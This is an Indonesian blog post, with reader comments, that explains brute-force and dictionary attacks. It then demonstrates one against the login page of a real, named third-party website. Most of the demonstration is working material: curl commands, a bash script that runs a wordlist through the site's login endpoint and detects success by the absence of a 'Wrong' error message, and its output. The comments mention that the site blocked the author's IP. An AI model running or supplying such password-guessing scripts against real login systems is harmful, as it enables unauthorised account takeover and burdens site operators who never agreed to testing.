Brute Force

Apa itu brute force? Brute force adalah sebuah serangan terhadap sistem di mana penyerang mencoba memasuki sebuah sistem dengan memasukkan semua kata kunci yang memungkinkan. Jadi, teknik ini lebih tepatnya mencoba memasukkan kata kunci satu per satu sebagai sebuah password. Biasanya dilakukan pada sebuah sistem yang mempunyai algoritma enkripsi satu jalan (one-way hash), yang berarti algoritma itu tidak dapat dibalik ataupun bisa dibilang didekripsi. Karena brute force ini membutuhkan waktu pemrosesan yang sangat lama karena mencoba huruf satu per satu dan memvariasikan semua huruf, orang-orang pun memvariasikan teknik brute force ini menjadi suatu hal bernama “dictionary attack”. Dictionary attack bisa dibilang merupakan sebuah pembatasan dari sebuah brute force. Konkretnya adalah seorang penyerang melist atau mendaftarkan kata-kata yang memungkinkan untuk dijadikan sebuah password dalam sebuah file, lalu penyerang melakukan sebuah serangan brute force dengan kata-kata yang ada di dalam file itu tadi.

Sebenarnya brute force adalah suatu hal yang sudah lama ditemukan. Tetapi kenapa saya membahasnya sekarang?Pada tulisan kali ini, saya akan menjelaskan bagaimana kita bisa melakukan sebuah serangan brute force pada sebuah sistem dengan cara yang amat sederhana. Mungkin kita langsung masuk ke implementasinya saja. Sistem yang akan kita coba adalah sebuah sistem yang akhir-akhir ini sedang dibicarakan karena masalah copyrightnya, yaitu salingsapa, mungkin lebih tepatnya sebuah CMS yang bernama jcow.

Pertama kita membuat sebuah account dengan username linxnyoba dan password blognyalinx pada situs salingsapa. Lalu kita akan mencoba melakukan brute force dengan sebuah command unix, yaitu curl.Singkat saja,curl adalah sebuah command untuk melakukan post atau get data pada sebuah protokol. Lalu untuk implementasinya, kita mencoba dulu bagaimana ketika username dan password tidak match pada situs itu.

Yak, akan terlihat sebuah kata kunci “wrong” pada halaman itu. Lalu kita mencoba memakai curl tadi untuk post data username dan password dengan memakai username dan password yang tidak cocok.


linx@comp-share:~$ curl -s -d "username=linxnyoba&password=cobacoba" http://salingsapa.com/member/loginpost | grep -i wrong
<td valign="top"><div>Wrong account or password</div><table border="0" width="100%">

Lalu kita mencoba post data dengan username dan password yang cocok.

linx@comp-share:~$ curl -s -d "username=linxnyoba&password=blognyalinx" http://salingsapa.com/member/loginpost | grep -i wrong

Ternyata tidak memberikan pesan error. Dari hal itu, kita bisa membuat sebuah logika, jika ada pesan error, berarti password yang dimasukkan salah, jika tidak ada pesan error, berarti password yang dimasukkan benar. Kemudian kita membuat sebuah shell script sederhana.

#!/bin/bash

touch filepass

for i in `cat wordlist.txt `
do
penanda=`curl -s -d “username=linxnyoba&password=$i” http://salingsapa.com/member/loginpost | grep -i wrong | awk ‘BEGIN {FS=”>”} {print $3}’ | awk ‘{print $1}’`
if [ “$penanda” = “Wrong” ];
then echo “$i bukan passwordnya”
else echo $i >> filepass
fi
done

Sedikit penjelasan tentang script di atas adalah, script itu membuat sebuah filepass yang mana di dalamnya akan berisi password yang benar, lalu isi penanda adalah adalah sebuah kata “Wrong”, jadi ketika bukan kata “Wrong” yang didapatkan, kata kunci yang dicoba akan dimasukkan ke dalam filepass, yang mana kata kunci itu adalah password yang benar. Oia, jangan lupa untuk membuat sebuah file bernama wordlist.txt yang di dalamnya berisi kata-kata yang akan kita gunakan untuk mencoba.

linx@comp-share:~/baru$ cat wordlist.txt
cobapassword
testingpassword
holahalo
blognyalinx
linx@comp-share:~/baru$ sh script.sh
cobapassword bukan passwordnya
testingpassword bukan passwordnya
holahalo bukan passwordnya
linx@comp-share:~/baru$ cat filepass
blognyalinx

Yak, berhasil..Itulah salah satu implementasi sederhana dari sebuah brute force yang menggunakan shell script. Dan dari hal sederhana itu, bisa Anda variasikan lagi untuk membuat yang lebih..hmmm.. “wah” mungkin 😀

Oke, mungkin segitu dulu aja yang bisa saya share hari ini. Atas kurang lebihnya saya mohon maaf, dan ciao 😀

References:
http://en.wikipedia.org
http://curl.haxx.se

You may also like

8 Comments

  1. saya pikir lebih baik menggunakan contoh web yang lain.. kesian.. 😀

    tapi kayaknya yang backup salingsapa.com itu indowebster.. coba ditrace networknya.. 😀

  2. hehehe..gakpopo dept..lagian juga servernya lumayan bagus..soale ada pembatasan juga untuk request koneksi yang terlalu berlebih (misal: kita bruteforce secara massal)..dan sudah tak coba kemaren, untuk beberapa waktu memblok request dari ip yang tak pake..point pentingnya di brute forcenya koq 🙂

    iyo,soalnya dah banyak banget yang ngakses..jadi butuh server yang gede juga 😀

  3. @bernad
    wah,situ lebih suhu 😀

    @rasarab
    ada gunanya juga jadi anak alay mas iqbal,passwot e dadi angel ketebak 😀

  4. @mas hamid
    hehehehe..twitter aja dah cukup buat mengekspresikan diri koq mas, baik yang junk atopun bukan junk 😀

    @pujianto
    ajarin saya python dulu ya 😀

Leave a Reply

Your email address will not be published. Required fields are marked *